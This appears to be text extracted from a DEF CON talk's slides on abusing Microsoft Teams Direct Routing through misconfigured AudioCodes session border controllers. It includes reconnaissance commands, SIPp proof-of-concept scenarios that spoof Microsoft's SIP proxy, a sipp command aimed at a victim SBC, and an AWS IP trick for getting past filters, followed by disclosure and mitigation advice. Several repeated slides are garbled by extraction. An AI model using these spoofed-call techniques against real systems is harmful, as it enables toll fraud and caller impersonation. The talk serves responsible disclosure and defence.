Phreaking 2.0
Abusing Microsoft Teams Direct Routing
Who am I?

- Moritz Abrell
- @moritz_abrell
- Senior IT Security Consultant – SySS GmbH
- Hacking Hard- and Software
defcon ~/Introduction
$ About this talk
Microsoft Teams in a nutshell

> Communication platform
> Hosted by Microsoft
> Audio, Video conferencing, Chat etc.
> Voice solution (external phone calls, PSTN)
Calling plan

Microsoft as PSTN carrier

PSTN

TEAMS
Direct Routing

Direct Routing

Background

Direct Routing

$\quad$ Background

HTTPS, WSS, WebRTC

TEAMS

SIP over TLS

SIP / SIP over TLS

PSTN
Direct Routing

- Background
- PSTN

SIP over TLS

HTTPS, WSS, WebRTC

SIP / SIP over TLS

PSTN
Session Initiation Protocol (SIP)

INVITE sip:070714078566135@192.168.178.1 SIP/2.0
Via: SIP/2.0/UDP 192.168.178.22:57614;branch=z9hG4bK4d2bb4174ccaa571
Contact: <sip:baresip1-0x55f288544f20@192.168.178.22:57614>
Max-Forwards: 70
To: <sip:070714078566135@192.168.178.1>
From: <sip:baresip1@192.168.178.1>;tag=c6acaeb62e93a775
Call-ID: d84c7438d3ece3c0
CSeq: 60982 INVITE
User-Agent: baresip
Allow: INVITE,ACK,BYE,CANCEL,OPTIONS,NOTIFY,SUBSCRIBE,INFO,MESSAGE,REFER
Content-Type: application/sdp
Content-Length: 353

v=0
o=- 4020641249 287215708 IN IP4 192.168.178.22
s=-
c=IN IP4 192.168.178.22
t=0 0
m=audio 33462 RTP/AVP 8 101
a=rtpmap:8 PCMA/8000
a=rtpmap:101 telephone-event/8000
a=sendrecv
a=ssrc:81464373
a=ptime:20
Session Initiation Protocol (SIP)

INVITE sip:070714078566135@192.168.178.1 SIP/2.0
Via: SIP/2.0/UDP 192.168.178.22:57614;branch=z9hG4bK4d2bb4174ccaa571
Contact: <sip:baresip1-0x55f288544f20@192.168.178.22:57614>
Max-Forwards: 70
To: <sip:070714078566135@192.168.178.1>
From: <sip:baresip1@192.168.178.1>;tag=c6acaeb62e93a775
Call-ID: d84c7438d3ece3c0
CSeq: 60982 INVITE
User-Agent: baresip
Allow: INVITE,ACK,BYE,CANCEL,OPTIONS,NOTIFY,SUBSCRIBE,INFO,MESSAGE,REFER
Content-Type: application/sdp
Content-Length: 353

v=0
o=- 4020641249 287215708 IN IP4 192.168.178.22
s=-
c=IN IP4 192.168.178.22
t=0 0
m=audio 33462 RTP/AVP 8 101
a=rtpmap:8 PCMA/8000
a=rtpmap:101 telephone-event/8000
a=sendrecv
a=ssrc:81464373
a=ptime:20
INVITE sip:070714078566135@192.168.178.1 SIP/2.0
Via: SIP/2.0/UDP 192.168.178.22:57614;branch=z9hG4bK4d2bb4174ccaa571
Contact: <sip:baresip1-0x55f288544f20@192.168.178.22:57614>
Max-Forwards: 70
To: <sip:070714078566135@192.168.178.1>
From: <sip:baresip1@192.168.178.1>;tag=c6acaeb62e93a775
Call-ID: d84c7438d3ece3c0
CSeq: 60982 INVITE
User-Agent: baresip
Allow: INVITE,ACK,BYE,CANCEL,OPTIONS,NOTIFY,SUBSCRIBE,INFO,MESSAGE,REFER
Content-Type: application/sdp
Content-Length: 353

v=0
o=- 4020641249 287215708 IN IP4 192.168.178.22
s=-
c=IN IP4 192.168.178.22
t=0 0
m=audio 33462 RTP/AVP 8 101
a=rtpmap:8 PCMA/8000
a=rtpmap:101 telephone-event/8000
a=sendrecv
a=ssrc:81464373
a=ptime:20
Session Initiation Protocol (SIP)

INVITE sip:070714078566135@192.168.178.1 SIP/2.0
Via: SIP/2.0/UDP 192.168.178.22:57614;branch=z9hG4bK4d2bb4174ccaa571
Contact: <sip:baresip1-0x55f288544f20@192.168.178.22:57614>
Max-Forwards: 70
To: <sip:070714078566135@192.168.178.1>
From: <sip:baresip1@192.168.178.1>;tag=c6acaeb62e93a775
Call-ID: d84c7438d3ece3c0
CSeq: 60982 INVITE
User-Agent: baresip
Allow: INVITE,ACK,BYE,CANCEL,OPTIONS,NOTIFY,SUBSCRIBE,INFO,MESSAGE,REFER
Content-Type: application/sdp
Content-Length: 353

v=0
o=- 4020641249 287215708 IN IP4 192.168.178.22
s=-
c=IN IP4 192.168.178.22
t=0 0
m=audio 33462 RTP/AVP 8 101
a=rtpmap:8 PCMA/8000
a=rtpmap:101 telephone-event/8000
a=sendrecv
a=ssrc:81464373
a=ptime:20
Session Initiation Protocol (SIP)

INVITE sip:070714078566135@192.168.178.1 SIP/2.0
Via: SIP/2.0/UDP 192.168.178.22:57614;branch=z9hG4bK4d2bb4174ccaa571
Contact: <sip:baresip1-0x55f288544f20@192.168.178.22:57614>
Max-Forwards: 70
To: <sip:070714078566135@192.168.178.1>
From: <sip:baresip1@192.168.178.1>;tag=c6acaeb62e93a775
Call-ID: d84c7438d3ece3c0
CSeq: 60982 INVITE
User-Agent: baresip
Allow: INVITE,ACK,BYE,CANCEL,OPTIONS,NOTIFY,SUBSCRIBE,INFO,MESSAGE,REFER
Content-Type: application/sdp
Content-Length: 353

v=0
o=- 4020641249 287215708 IN IP4 192.168.178.22
s=-
c=IN IP4 192.168.178.22
t=0 0
m=audio 33462 RTP/AVP 8 101
a=rtpmap:8 PCMA/8000
a=rtpmap:101 telephone-event/8000
a=sendrecv
a=ssrc:81464373
a=ptime:20
## Add an FQDN for the SBC

You must use the SBC's FQDN that has the host name registered in DNS. For example, if your organization owns contoso.com then sbc.contoso.com is a good name for the SBC, but sbc.contoso.onmicrosoft.com isn't.

### SBC settings

When you are adding this SBC, you can turn on or off the SBC and change settings that are specific to the SBC.

<table>
<thead>
<tr>
<th>Setting</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Enabled</td>
<td>Off</td>
</tr>
<tr>
<td>SIP signaling port</td>
<td>10</td>
</tr>
<tr>
<td>Send SIP options</td>
<td>On</td>
</tr>
<tr>
<td>Forward call history</td>
<td>Off</td>
</tr>
<tr>
<td>Forward P-Asserted-identity (PAI) header</td>
<td>Off</td>
</tr>
<tr>
<td>Concurrent call capacity</td>
<td></td>
</tr>
<tr>
<td>Failover response codes</td>
<td>408, 503, 504</td>
</tr>
<tr>
<td>Failover time (seconds)</td>
<td>10</td>
</tr>
<tr>
<td>Preferred country or region for media traffic</td>
<td>Auto</td>
</tr>
<tr>
<td>SBC supports PIDF/LO for emergency calls</td>
<td>Off</td>
</tr>
<tr>
<td>Ring phone while trying to find the user</td>
<td>On</td>
</tr>
</tbody>
</table>
## Certified SBC vendors

<table>
<thead>
<tr>
<th>Vendor</th>
<th>Product</th>
<th>Non-media bypass</th>
<th>Media bypass</th>
<th>Software version</th>
<th>911 Service Provider Capable*</th>
<th>ELIN capable</th>
</tr>
</thead>
<tbody>
<tr>
<td>AudioCodes</td>
<td>Mediant 500 SBC</td>
<td>✓</td>
<td>✓</td>
<td>Supported 7.20A.258 (Recommended 7.40A.100 or 7.40A.250)</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td></td>
<td>Mediant 800 SBC</td>
<td>✓</td>
<td>✓</td>
<td>Supported 7.20A.258 (Recommended 7.40A.100 or 7.40A.250)</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td></td>
<td>Mediant 2600 SBC</td>
<td>✓</td>
<td>✓</td>
<td>Supported 7.20A.258 (Recommended 7.40A.100 or 7.40A.250)</td>
<td>✓</td>
<td>✓</td>
</tr>
</tbody>
</table>

To search for an interoperability solution, please use the filters below:

<table>
<thead>
<tr>
<th>SIP Trunking Service</th>
<th>IP-PBX / Application Server</th>
<th>SBC Wizard</th>
<th>Configuration Note</th>
</tr>
</thead>
<tbody>
<tr>
<td>auiphone</td>
<td>Microsoft Teams</td>
<td>✔️</td>
<td></td>
</tr>
<tr>
<td>Bell Canada</td>
<td>Microsoft Teams</td>
<td>✔️</td>
<td></td>
</tr>
<tr>
<td>Cisco CUCM</td>
<td>Microsoft Teams</td>
<td>✔️</td>
<td></td>
</tr>
<tr>
<td>Colt</td>
<td>Microsoft Teams</td>
<td>✔️</td>
<td></td>
</tr>
<tr>
<td>Deutsche Telekom DTAG</td>
<td>Microsoft Teams</td>
<td>✔️</td>
<td></td>
</tr>
<tr>
<td>IXICA</td>
<td>Microsoft Teams</td>
<td>✔️</td>
<td></td>
</tr>
</tbody>
</table>

Source: https://www.audiocodes.com/partners/sbc-interoperability-list?server=microsoft%20teams
General Setup (Step 2 of 7)
Choose application type, configuration template and network setup.

Application: SIP Trunk (IP-PBX with SIP Trunk)
IP-PBX: Microsoft Teams
SIP Trunk: Generic SIP Trunk
Network Setup: One port: WAN

Are you looking for a specific interop template which is not available? If you are, all we need is a configuration file tested in this environment and we will do the rest.
E-mail us at interop@audiocodes.com.
Call handling (simplified)
Call handling (simplified)

- Ethernet
- IP Group
- SIP Interface
- Media Realm

IP-to-IP Routing

Ethernet
- IP Group
- SIP Interface
- Media Realm
Call handling (simplified)
$\text{Call handling (simplified)}$

- Ethernet
- IP Group
- Media Realm
- SIP Interface

IP-to-IP Routing

- Ethernet
- IP Group
- Media Realm
- SIP Interface
$ Call handling (simplified)
Call handling (simplified)
Call handling (simplified)
### IP-to-IP Routing (4)

<table>
<thead>
<tr>
<th>INDEX</th>
<th>NAME</th>
<th>ROUTING POLICY</th>
<th>ALTERNATIVE ROUTE OPTIONS</th>
<th>SOURCE IP GROUP</th>
<th>REQUEST TYPE</th>
<th>SOURCE USERNAME PREFIX</th>
<th>DESTINATION TYPE</th>
<th>DESTINATION IP GROUP</th>
<th>DESTINATION SIP INTERFACE</th>
<th>DESTINATION ADDRESS</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>terminate OPTI</td>
<td>defaultSBCRout</td>
<td>Route Row</td>
<td>Teams</td>
<td>OPTIONS</td>
<td>*</td>
<td>*</td>
<td>Dest Address</td>
<td>--</td>
<td>internal</td>
</tr>
<tr>
<td>2</td>
<td>Teams Refer</td>
<td>defaultSBCRout</td>
<td>Route Row</td>
<td>Any</td>
<td>All</td>
<td>*</td>
<td>*</td>
<td>Request URI</td>
<td>Teams</td>
<td>--</td>
</tr>
<tr>
<td>10</td>
<td>Teams -&gt; ITSP</td>
<td>defaultSBCRout</td>
<td>Route Row</td>
<td>Teams</td>
<td>All</td>
<td>*</td>
<td>*</td>
<td>IP Group</td>
<td>ITSP</td>
<td>--</td>
</tr>
<tr>
<td>20</td>
<td>ITSP -&gt; Teams</td>
<td>defaultSBCRout</td>
<td>Route Row</td>
<td>ITSP</td>
<td>All</td>
<td>*</td>
<td>*</td>
<td>IP Group</td>
<td>Teams</td>
<td>--</td>
</tr>
</tbody>
</table>
IP-to-IP Routing

IP Group

Teams

ITSP

DEFCON ~/Analysis

$ IP-to-IP Routing
<table>
<thead>
<tr>
<th>MATCH</th>
<th>ACTION</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Index</strong></td>
<td>Allow</td>
</tr>
<tr>
<td><strong>Name</strong></td>
<td>Destination Routing Policy</td>
</tr>
<tr>
<td><strong>Source SIP Interface</strong></td>
<td>#0 [Teams]</td>
</tr>
<tr>
<td><strong>Source IP Address</strong></td>
<td>--</td>
</tr>
<tr>
<td><strong>Source Transport Type</strong></td>
<td>Any</td>
</tr>
<tr>
<td><strong>Source Port</strong></td>
<td>--</td>
</tr>
<tr>
<td><strong>Source Username Prefix</strong></td>
<td>#1 [Teams]</td>
</tr>
<tr>
<td><strong>Source Host</strong></td>
<td>--</td>
</tr>
<tr>
<td><strong>Destination Username Prefix</strong></td>
<td></td>
</tr>
<tr>
<td><strong>Destination Host</strong></td>
<td>sbc.example.com</td>
</tr>
<tr>
<td><strong>Message Condition</strong></td>
<td>#0 [Teams-Contact]</td>
</tr>
</tbody>
</table>
### Classification [Teams]

**MATCH**

- **Index**: 1
- **Name**: Teams
- **Source SIP Interface**: #0 (Teams)
- **Source IP Address**: Any
- **Source Transport Type**: Any
- **Source Port**: 0
- **Source Username Prefix**: *
- **Source Host**: *
- **Destination Username Prefix**: *
- **Destination Host**: sbc.example.com
- **Message Condition**: #0 (Teams-Contact)

**ACTION**

- **Action Type**: Allow
- **Destination Routing Policy**: --
- **Source IP Group**: #1 (Teams)
- **IP Profile**: --
defcon ~/Analysis
$ Classification

Message Conditions [Teams-Contact]

GENERAL

- Index: 0
- Name: Teams-Contact
- Condition: header.contact.url.host contains 'pstnhub.microsoft.com'
defcon ~/Analysis
$ Classification

header.contact.url.host contains 'pstnbhub.microsoft.com'

SIP 2.0
...
Contact: XYZ@pstnbhub.microsoft.com
The attack idea

> Information gathering (hostname)
> Pretending to be a MS Teams SIP proxy
> Sending a SIP INVITE message
> Calling via victims ITSP?
The attack idea

- Victim
- Session Border Controller
- PSTN
- TEAMS
Getting the hostname of the SBC

$ Getting the hostname of the SBC

$ dig -x XXX.XXX.XXX.XXX +short
sbc.example.com.

$ openssl s_client -connect XXX.XXX.XXX.XXX:5061 | openssl x509 -noout -text | egrep "DNS|CN"

[...]
Subject: CN = sbc.example.com
DNS: sbc.example.com
[...]

Certificate information (SIP-TLS service)
Building a Proof-of-Concept

Attacker

SBC

INVITE

100 Trying

200 OK

ACK

BYE
Building a Proof-of-Concept

> SIPp

> XML SIP scenario

SIPp: http://sipp.sourceforge.net/
<scenario name="MS Teams Direct Routing PoC">

<send retrans="500">
    <![CDATA[
INVITE sip:[service]@[hostname]:[remote_port] SIP/2.0
Via: SIP/2.0/[transport] [local_ip]:[local_port];branch=[branch]
From: <sip:[caller]@[sip.pstnhub.microsoft.com]:[local_port]>;tag=[pid][call_number]
To: [service] <sip:[service]@[hostname]:[remote_port]>
Call-ID: [call_id]
CSeq: 1 INVITE
Contact: sip:[caller]@pstnhub.microsoft.com:[local_port]
Max-Forwards: 70
Content-Type: application/sdp
Content-Length: [len]

v=0
o=user1 53655765 2353687637 IN IP[local_ip_type] [local_ip]
s=-
c=IN IP[media_ip_type] [media_ip]
t=0 0
m=audio [media_port] RTP/AVP 8
a=rtpmap:8 PCMA/8000
a=crypto:1 AES_CM_128_HMAC_SHA1_80 inline:QjQAOZvjh2tr4tFl0C7x78e+Y6NVW0s3lhSfl7uf
a=encryption:optional
]]>
</send>
<scenario name="MS Teams Direct Routing PoC">

<send retrans="500">
<![CDATA[
INVITE sip:[service]@[hostname]:[remote_port] SIP/2.0
Via: SIP/2.0/transport [local_ip]:[local_port];branch=[branch]
From: <sip:[caller]@sip.pstnhub.microsoft.com:[local_port]>;tag=[pid][call_number]
To: [service] <sip:[service]@[hostname]:[remote_port]>
Call-ID: [call_id]
CSeq: 1 INVITE
Contact: sip:[caller]@pstnhub.microsoft.com:[local_port]
Max-Forwards: 70
Content-Type: application/sdp
Content-Length: [len]

v=0
o=user1 53655765 2353687637 IN IP[local_ip_type] [local_ip]
s=-
c=IN IP[media_ip_type] [media_ip]
t=0 0
m=audio [media_port] RTP/AVP 8
a=rtpmap:8 PCMA/8000
a=encryption:optional
]]>
</send>
<scenario name="MS Teams Direct Routing PoC">

<send retrans="500">

<![CDATA[

INVITE sip:[service]@[hostname]:[remote_port] SIP/2.0
Via: SIP/2.0/[transport] [local_ip]@[local_port];branch=[branch]
From: <sip:[caller]@sip.pstnhub.microsoft.com:[local_port]>;tag=[pid][call_number]
To: [service] <sip:[service]@[hostname]:[remote_port]>
Call-ID: [call_id]
CSeq: 1 INVITE
Contact: sip:[caller]@pstnhub.microsoft.com:[local_port]
Max-Forwards: 70
Content-Type: application/sdp
Content-Length: [len]

v=0
o=user1 53655765 2353687637 IN IP[local_ip_type] [local_ip]
s=-
c=IN IP[media_ip_type] [media_ip]
t=0 0
m=audio [media_port] RTP/AVP 8
a=rtpmap:8 PCMA/8000
a=.crypto:1 AES_CM_128_HMAC_SHA1_80 inline:QjQAOZvjh2tr4tFLO<7x78e+Y6NVWo831hSFl7uf
a=encryption:optional

]]>

</send>

</scenario>
<scenario name="MS Teams Direct Routing PoC">

<send retrans="500">
<![CDATA[

INVITE sip:[service]@[hostname]:[remote_port] SIP/2.0
Via: SIP/2.0/[transport] [local_ip]:[local_port];branch=[branch]
From: <sip: [caller]@[sip.pstnhub.microsoft.com]:[local_port]>;tag=[pid][call_number]
To: [service] <sip:[service]@[hostname]:[remote_port]>
Call-ID: [call_id]
CSeq: 1 INVITE
Contact: sip:[caller]@[pstnhub.microsoft.com]:[local_port]
Max-Forwards: 70
Content-Type: application/sdp
Content-Length: [len]

v=0
o=user1 53655765 2353687637 IN IP[local_ip_type] [local_ip]
s=-
c=IN IP[media_ip_type] [media_ip]
t=0 0
m=audio [media_port] RTP/AVP 8
a=rtpmap:8 PCMA/8000
a=crypto:1 AES_CM_128_HMAC_SHA1_80 inline:QjQA0Zvh2tr4tFLOC7x78e+Y6NVWo83lHsFl7uf
a=encryption:optional

]]>]]>
</send>
<scenario name="MS Teams Direct Routing PoC">

<send retrans="500">
<!CDATA[
INVITE sip:[:service]@[hostname]:[remote_port] SIP/2.0
Via: SIP/2.0/UDP [hostname]:[remote_port];branch=[branch]
From: <sip:[caller]@[hostname]:[remote_port]>;tag=[pid][call_number]
To: [service] <sip:[service]@[hostname]:[remote_port]>
Call-ID: [call_id]
CSeq: 1 INVITE
Contact: sip:[caller]@[hostname]:[remote_port]
Max-Forwards: 70
Content-Type: application/sdp
Content-Length: [len]

v=0
o=user1 53655765 2353687637 IN IP[local_ip_type] [local_ip]
s=-
c=IN IP[media_ip_type] [media_ip]
t=0 0
m=audio [media_port] RTP/AVP 8
a=rtpmap:8 PCMA/8000
a=encryption:optional
]]>
</send>
Building a Proof-of-Concept

```
$ openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout selfsign.key -out selfsign.crt

$ sipp <victim-sbc-ip>:5061 -sf poc.xml -s <dest-phone-number> \
-m 1 -t l1 -tls_cert selfsign.crt -tls_key selfsign.key \ 
-key hostname "sbc.victim.com" -key caller "<victim-phone-number"
```

PoC: https://github.com/MoritzAbrell/MSTDR-Poc
defcon ~/Exploitation
$ Demo
Impact/Exploitation

$ Impact

> CEO fraud
> Toll fraud

Victim
Session Border Controller

PSTN

Attacker controlled premium number
Reporting to the manufacturer

- Reported the vulnerability to the manufacturer
- Manufacturer patched the configuration guidelines
To configure a Classification rule:

1. Open the Classification table (Setup menu > Signaling & Media tab > SBC folder > Classification Table).
2. Click New, and then configure the parameters as follows:

<table>
<thead>
<tr>
<th>Parameter</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Index</td>
<td>0</td>
</tr>
<tr>
<td>Name</td>
<td>Teams</td>
</tr>
<tr>
<td>Source SIP Interface</td>
<td>Teams</td>
</tr>
<tr>
<td>Source IP Address</td>
<td>52.<em>.</em>.*</td>
</tr>
<tr>
<td>Message Condition</td>
<td>Teams-Contact</td>
</tr>
<tr>
<td>Action Type</td>
<td>Allow</td>
</tr>
<tr>
<td>Source IP Group</td>
<td>Teams</td>
</tr>
</tbody>
</table>

$ 52.0.0.0/8$

52.0.0.0 – 52.79.255.255 > Amazon Technologies Inc.
52.80.0.0 – 52.83.255.255 > Asia Pacific Network Information Centre
52.84.0.0 – 52.95.255.255 > Amazon Technologies Inc.
52.96.0.0 – 52.115.255.255 > Microsoft Corporation
52.116.0.0 – 52.118.255.255 > SoftLayer Technologies Inc.

[...]
defcon ~/Responsible_Disclosure

$ 52.0.0.0/8

52.0.0.0 – 52.79.255.255 > Amazon Technologies Inc.

52.80.0.0 – 52.83.255.255 > Asia Pacific Network Information Centre

52.84.0.0 – 52.95.255.255 > Amazon Technologies Inc.

52.96.0.0 – 52.115.255.255 > Microsoft Corporation

52.116.0.0 – 52.118.255.255 > SoftLayer Technologies Inc.

[...]
defcon ~/Responsible_Disclosure
$ 52.0.0.0/8 in AWS

$ curl https://ip-ranges.amazonaws.com/ip-ranges.json \
| jq '.prefixes[] | select (.ip_prefix|test("^52"))'

[...]

{
    "ip_prefix": "52.4.0.0/14",
    "region": "us-east-1",
    "service": "EC2",
    "network_border_group": "us-east-1"
}
{
    "ip_prefix": "52.95.224.0/24",
    "region": "eu-south-1",
    "service": "EC2",
    "network_border_group": "eu-south-1"
}

[...]
Getting an IP address

[Image: AWS Elastic IP address screenshot]
Reporting to the manufacturer, again

> Manufacturer refers to the use of Mutual TLS
defcon ~/Responsible_Disclosure#2

$ TLS – X.509 certificate verification

Client

server hello

Client

server hello

cert

Server

...
Mutual TLS – X.509 certificate verification

Client

server hello

server hello

cert

Client cert request

cert

...
Mutual TLS – X.509 certificate verification

Client

server hello

client hello

client cert request

Server

cert

IP address XXX.XXX.XXX.XXX

cert

...

1. SIP Request to sbc.example.com
2. X.509 certificate verification:
   - CN, SAN
   - trusted?
   - validity period

1. SIP Request from IP address 52.114.XXX.XXX
2. X.509 certificate verification:
   - trusted?
   - validity period
If Mutual TLS (MTLS) support is enabled for the Teams connection on the SBC, then you must install the Baltimore CyberTrust Root and the DigiCert Global Root G2 certificates in the SBC Trusted Root Store of the Teams TLS context. (This is because the Microsoft service certificates use one of these two root certificates.) To download these root certificates, see Office 365 Encryption chains. For more details, see Office TLS Certificate Changes.
def con ~/Responsible_Disclosure#2
$ Mutual TLS

**Note:** For implementing an MTLS connection with the Microsoft Teams network, configure ‘TLS Mutual Authentication’ to “Enable” for the Teams SIP Interface.

**Note:** Loading Baltimore Trusted Root Certificates to AudioCodes’ SBC is mandatory for implementing an MTLS connection with the Microsoft Teams network. Refer to Section 2.7 on page 30.

defcon ~/Responsible_Disclosure#2

$ Baltimore CyberTrust Root certificate

Source: https://de.ssl-tools.net/subjects/c12f4576ed1559ecb05dba89bf9d8078e523d413
LUXTRUST CERTIFIED

Since 2003, backed by the Luxembourg government and major banks in the Luxembourg financial center, LuxTrust S.A. puts rigor, competence and strict compliance with highest industry standards as its priority to deliver strong authentication products and services.

EASY ENROLLMENT

Enrollment made easy for a faster issuance. LuxTrust starts the authentication process as soon as you complete your purchase.
Transfer your CSR file by simple upload and let us take care of all administrative verifications.
Click here to view the complete process.

ENABLING A DIGITAL WORLD

Build trust in your website and company with our SSL secure certificates. Your customers will benefit from LuxTrust’s security and strong authentication tools.
Perform your own online transactions in complete security with data encryption up to 256 bit.
Exploitation

sbc.evil.com

Attacker AWS EC2
IP: 52.9.32.239

Session Border Controller

Classification
Condition
IP filter
trusted Certificate
Reporting to the manufacturer

“The AudioCodes Configuration Guides are focused on interworking and only describe the basic security rules.”

- e-Mail communication with AudioCodes Ltd.
Reporting to the manufacturer

- SBC security and hardening guideline
- Screening calling party number
- Separate firewall rules
SBC security and hardening guideline

Reference Guide

AudioCodes Family of Media Gateways and Session Border Controllers (SBCs)

Security Guidelines

SIP Media Gateways and SBCs

Version 7.4

Contact persons - an overview

Syss GmbH
Schaffhausenstraße 77
72072 Tübingen
Germany

Tel.: +49 (0) 7071 - 40 78 58-0
Fax: +49 (0) 7071 - 40 78 56-19
E-mail: info(at)syss.de

Contact Persons: How to Contact Us
### 2.21 Configure Firewall Settings (Optional)

As extra security, there is an option to configure traffic filtering rules (access list) for incoming traffic on AudioCodes SBC. For each packet received on the configured network interface, the SBC searches the table from top to bottom until the first matching rule is found. The matched rule can permit (allow) or deny (block) the packet. Once a rule in the table is located, subsequent rules further down the table are ignored. If the end of the table is reached without a match, the packet is accepted. Please note that the firewall is stateless. The blocking rules will apply to all incoming packets, including UDP or TCP responses.

- **To configure a firewall rule:**
  1. Open the Firewall table (Setup menu > IP Network tab > Security folder > Firewall).
  2. Configure the following Access list rules for Teams Direct Rout IP Interface:

<table>
<thead>
<tr>
<th>Index</th>
<th>Source IP</th>
<th>Subnet Prefix</th>
<th>Start Port</th>
<th>End Port</th>
<th>Protocol</th>
<th>Use Specific Interface</th>
<th>Interface ID</th>
<th>Allow Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>&lt;Public DNS Server IP&gt;</td>
<td>32</td>
<td>0</td>
<td>65535</td>
<td>Any</td>
<td>Enable</td>
<td>WAN_IF</td>
<td>Allow</td>
</tr>
<tr>
<td>1</td>
<td>52.112.0.0</td>
<td>14</td>
<td>0</td>
<td>65535</td>
<td>TCP</td>
<td>Enable</td>
<td>WAN_IF</td>
<td>Allow</td>
</tr>
<tr>
<td>2</td>
<td>52.120.0.0</td>
<td>14</td>
<td>0</td>
<td>65535</td>
<td>TCP</td>
<td>Enable</td>
<td>WAN_IF</td>
<td>Allow</td>
</tr>
<tr>
<td>3</td>
<td>xxx.xxx.xxx.xxx</td>
<td>32</td>
<td>0</td>
<td>65535</td>
<td>UDP</td>
<td>Enable</td>
<td>WAN_IF</td>
<td>Allow</td>
</tr>
<tr>
<td>49</td>
<td>0.0.0.0</td>
<td>0</td>
<td>0</td>
<td>65535</td>
<td>Any</td>
<td>Enable</td>
<td>WAN_IF</td>
<td>Block</td>
</tr>
</tbody>
</table>

2.21 **Configure Firewall Settings (Optional)**

As extra security, there is an option to configure traffic filtering rules (access list) for incoming traffic on AudioCodes SBC. For each packet received on the configured network interface, the SBC searches the table from top to bottom until the first matching rule is found. The matched rule can permit (allow) or deny (block) the packet. Once a rule in the table is located, subsequent rules further down the table are ignored. If the end of the table is reached without a match, the packet is accepted. Please note that the firewall is stateless. The blocking rules will apply to all incoming packets, including UDP or TCP responses.

- **To configure a firewall rule:**
  1. Open the Firewall table (Setup menu > IP Network tab > Security folder > Firewall).
  2. Configure the following Access list rules for Teams Direct Rout IP Interface:

<table>
<thead>
<tr>
<th>Index</th>
<th>Source IP</th>
<th>Subnet Prefix</th>
<th>Start Port</th>
<th>End Port</th>
<th>Protocol</th>
<th>Use Specific Interface</th>
<th>Interface ID</th>
<th>Allow Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td><code>&lt;Public DNS Server IP&gt;</code></td>
<td>32</td>
<td>0</td>
<td>65535</td>
<td>Any</td>
<td>Enable</td>
<td>WAN_IF</td>
<td>Allow</td>
</tr>
<tr>
<td>1</td>
<td>52.112.0.0</td>
<td>14</td>
<td>0</td>
<td>65535</td>
<td>TCP</td>
<td>Enable</td>
<td>WAN_IF</td>
<td>Allow</td>
</tr>
<tr>
<td>2</td>
<td>52.120.0.0</td>
<td>14</td>
<td>0</td>
<td>65535</td>
<td>TCP</td>
<td>Enable</td>
<td>WAN_IF</td>
<td>Allow</td>
</tr>
<tr>
<td>3</td>
<td>xxx.xxx.xxx.xxx</td>
<td>32</td>
<td>0</td>
<td>65535</td>
<td>UDP</td>
<td>Enable</td>
<td>WAN_IF</td>
<td>Allow</td>
</tr>
<tr>
<td>49</td>
<td>0.0.0.0</td>
<td>0</td>
<td>0</td>
<td>65535</td>
<td>Any</td>
<td>Enable</td>
<td>WAN_IF</td>
<td>Block</td>
</tr>
</tbody>
</table>
2.21 Configure Firewall Settings (Optional)

As extra security, there is an option to configure traffic filtering rules (access list) for incoming traffic on AudioCodes SBC. For each packet received on the configured network interface, the SBC searches the table from top to bottom until the first matching rule is found. The matched rule can permit (allow) or deny (block) the packet. Once a rule in the table is located, subsequent rules further down the table are ignored. If the end of the table is reached without a match, the packet is accepted. Please note that the firewall is stateless. The blocking rules will apply to all incoming packets, including UDP or TCP responses.

➢ To configure a firewall rule:
1. Open the Firewall table (Setup menu > IP Network tab > Security folder > Firewall).
2. Configure the following Access list rules for Teams Direct Rout IP Interface:

<table>
<thead>
<tr>
<th>Index</th>
<th>Source IP</th>
<th>Subnet Prefix</th>
<th>Start Port</th>
<th>End Port</th>
<th>Protocol</th>
<th>Use Specific Interface</th>
<th>Interface ID</th>
<th>Allow Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>&lt;Public DNS Server IP&gt;</td>
<td>32</td>
<td>0</td>
<td>65535</td>
<td>Any</td>
<td>Enable</td>
<td>WAN_IF</td>
<td>Allow</td>
</tr>
<tr>
<td>1</td>
<td>52.112.0.0</td>
<td>14</td>
<td>0</td>
<td>65535</td>
<td>TCP</td>
<td>Enable</td>
<td>WAN_IF</td>
<td>Allow</td>
</tr>
<tr>
<td>2</td>
<td>52.120.0.0</td>
<td>14</td>
<td>0</td>
<td>65535</td>
<td>TCP</td>
<td>Enable</td>
<td>WAN_IF</td>
<td>Allow</td>
</tr>
<tr>
<td>3</td>
<td>xxx.xxx.xxx.xxx</td>
<td>32</td>
<td>0</td>
<td>65535</td>
<td>UDP</td>
<td>Enable</td>
<td>WAN_IF</td>
<td>Allow</td>
</tr>
<tr>
<td>49</td>
<td>0.0.0.0</td>
<td>0</td>
<td>0</td>
<td>65535</td>
<td>Any</td>
<td>Enable</td>
<td>WAN_IF</td>
<td>Block</td>
</tr>
</tbody>
</table>

We have to implement protection mechanism against toll fraud attacks.

Host verification, IP filter, proper authentication.
Is this all AudioCodes (SBC) fault?
Microsoft please …

> Implement application specific authentication mechanism e.g. SIP Digest Authentication

> Sign MS Teams SIP proxies with an exclusively used CA

> Case is still open
Recommendations

> Strict IP filter

> Static SAN verification “sip.pstnhub.microsoft.com”

> Limiting max. call duration

> Deny calls to premium numbers

> Logging & Monitoring
Current Direct Routing installations may be vulnerable

As a hacker: think outside the box

Hack Phreak the planet